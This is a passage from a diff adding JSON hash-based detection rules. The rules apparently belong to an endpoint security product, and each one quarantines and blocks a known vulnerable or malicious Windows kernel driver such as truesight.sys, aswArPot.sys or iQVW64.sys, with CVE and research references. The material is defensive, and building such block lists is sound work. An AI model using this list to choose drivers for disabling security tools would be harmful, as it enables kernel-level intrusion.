+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9bbd93e1a032616ad55c4f8a92e78a849e424eb6d4cd945d794fbd39a234ce58",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "44bc1f4e-ebf3-51d5-b086-d7b2b200afa6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822817Z",
+  "creation_date": "2026-03-23T11:45:31.822820Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822829Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3cba4367e05c7155638ee729e00f6cb42d35088316c62fa9cfea18a2b1af4d04",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "44c3bbc6-6281-5ee9-b4d5-d7243f2480ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615220Z",
+  "creation_date": "2026-03-23T11:45:29.615222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7334c46a55acf8bb18435ab60ed9b89f2c1ab31587ef052730358efc32fddb62",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "44c56f4d-5b4f-5634-ad0c-5f6667c902c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488431Z",
+  "creation_date": "2026-03-23T11:45:31.488433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c57561416c054c66190056ca3a8633d6123d51f3e8c9cd032545938326f22cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "44e44eec-6c72-54f4-8633-bfc852f8dad5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968740Z",
+  "creation_date": "2026-03-23T11:45:29.968742Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968748Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb8aef4049f78c3ca1c0808b95a8d3f975e00e1b570b890d1d5915e1e804574e",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "44ecf641-4932-55d7-bbe2-48e84ed5f4a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817768Z",
+  "creation_date": "2026-03-23T11:45:30.817771Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817779Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8e047a7c96a94eb7cf0416253eca48fa7ba66914b684ee75e81651c83c7ac30",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45014412-5e9f-5477-8bf9-7c2fd94ffc25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156380Z",
+  "creation_date": "2026-03-23T11:45:31.156382Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156387Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ded7a01c322d1a61683b93b9f2aec35c2a2d98f7bb4aad2ffa9ba6138d7276cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4505253a-eb61-5ab1-be9c-0ed335a9d6bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492853Z",
+  "creation_date": "2026-03-23T11:45:31.492856Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65181921bd04e45ef68257afad11f3f22a864d80e7fea5dcf74f8e7cf40d59e2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45076210-e771-5434-8038-ad17af824194",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142541Z",
+  "creation_date": "2026-03-23T11:45:31.142543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9d8ba7a075bbf1085f34d64dc9225b85be30f6a61b297203db23c484878d903",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "450e0efd-0e8d-5b5a-a9a2-8dcc0e95993a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834786Z",
+  "creation_date": "2026-03-23T11:45:30.834789Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a654e7f84e3589acb475f3962c2cf00f2f15e523ec931b11b57bdeb292981255",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "451aa41f-6b39-5662-a56b-c5619061b098",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160439Z",
+  "creation_date": "2026-03-23T11:45:31.160441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54e230432e4bd8adaff7afdb4f3a0118b348b81697998701fee1018ba180e554",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45212cfa-e44f-5ace-ae21-f7d5edfd09af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477112Z",
+  "creation_date": "2026-03-23T11:45:30.477115Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477125Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f15fd9b81092a98fabcc4ac95e45cec2d9ff3874d2e3faac482f3e86edad441",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4539174d-5cf9-53df-95fc-167ea0515560",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979533Z",
+  "creation_date": "2026-03-23T11:45:29.979535Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979540Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f936ec4c8164cbd31add659b61c16cb3a717eac90e74d89c47afb96b60120280",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "453ee8e1-bdb8-5a4f-867a-3de858e9a833",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456839Z",
+  "creation_date": "2026-03-23T11:45:30.456842Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c79a2bb050af6436b10b58ef04dbc7082df1513cec5934432004eb56fba05e66",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45586c36-5229-5c5f-8787-694a0834f01b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478484Z",
+  "creation_date": "2026-03-23T11:45:30.478487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d1bd2235d422954506b1bdb3070d9d8bada3fb7f9e4f658036031294b3a95df",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4562f796-91e0-5602-a4d0-30da2dbb8fc4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968185Z",
+  "creation_date": "2026-03-23T11:45:29.968187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fc29480407e5179aa8ea41682409b4ea33f1a42026277613d6484e5419de374",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4565b1bc-7f92-58aa-803e-e954df29e81c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481823Z",
+  "creation_date": "2026-03-23T11:45:30.481825Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481831Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c79e5196c2f51d2ab16e40b9d5725a8bf6ae0aaa70b02377aedc0f4e93ca37f",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4569b94a-8fca-5edd-9cbf-9c0626eafc44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972266Z",
+  "creation_date": "2026-03-23T11:45:29.972268Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972273Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46ec6310c5ea5e289299d40f5ecca82b9c722ffc766dfd08f36dc88835e63567",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "456cec38-b53f-5ae3-a145-2908ebfdd8f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819812Z",
+  "creation_date": "2026-03-23T11:45:30.819814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819820Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d633055c7eda26dacfc30109eb790625519fc7b0a3a601ceed9e21918aad8a1b",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "457eabaa-fe04-5090-89b5-5f2cd7bd3e36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823899Z",
+  "creation_date": "2026-03-23T11:45:30.823901Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823907Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bfb584ae2dd1bba593ac142b6c9a1a2640955759b72123ee7b58f8eaaa9f748",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45887fa2-ce12-5791-9b0c-e836976d9a9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827622Z",
+  "creation_date": "2026-03-23T11:45:31.827624Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827630Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1d560040819f308d820032547d9ad1cf11fdfbb400241bf877e6f5e51900710",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "459189c9-317c-5e00-ae48-ba457e6a168b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815197Z",
+  "creation_date": "2026-03-23T11:45:31.815199Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815204Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "571c3cebc7009f1243b97dd381962e78d736b209955f8c2e5a30d970c155f3f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45af8571-3d48-525f-b480-ffa43e8a14aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827380Z",
+  "creation_date": "2026-03-23T11:45:30.827382Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827387Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b366e96694d76b1947ed0e22b574f39cbe0b6d352851b720825b8a0df1aafa51",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
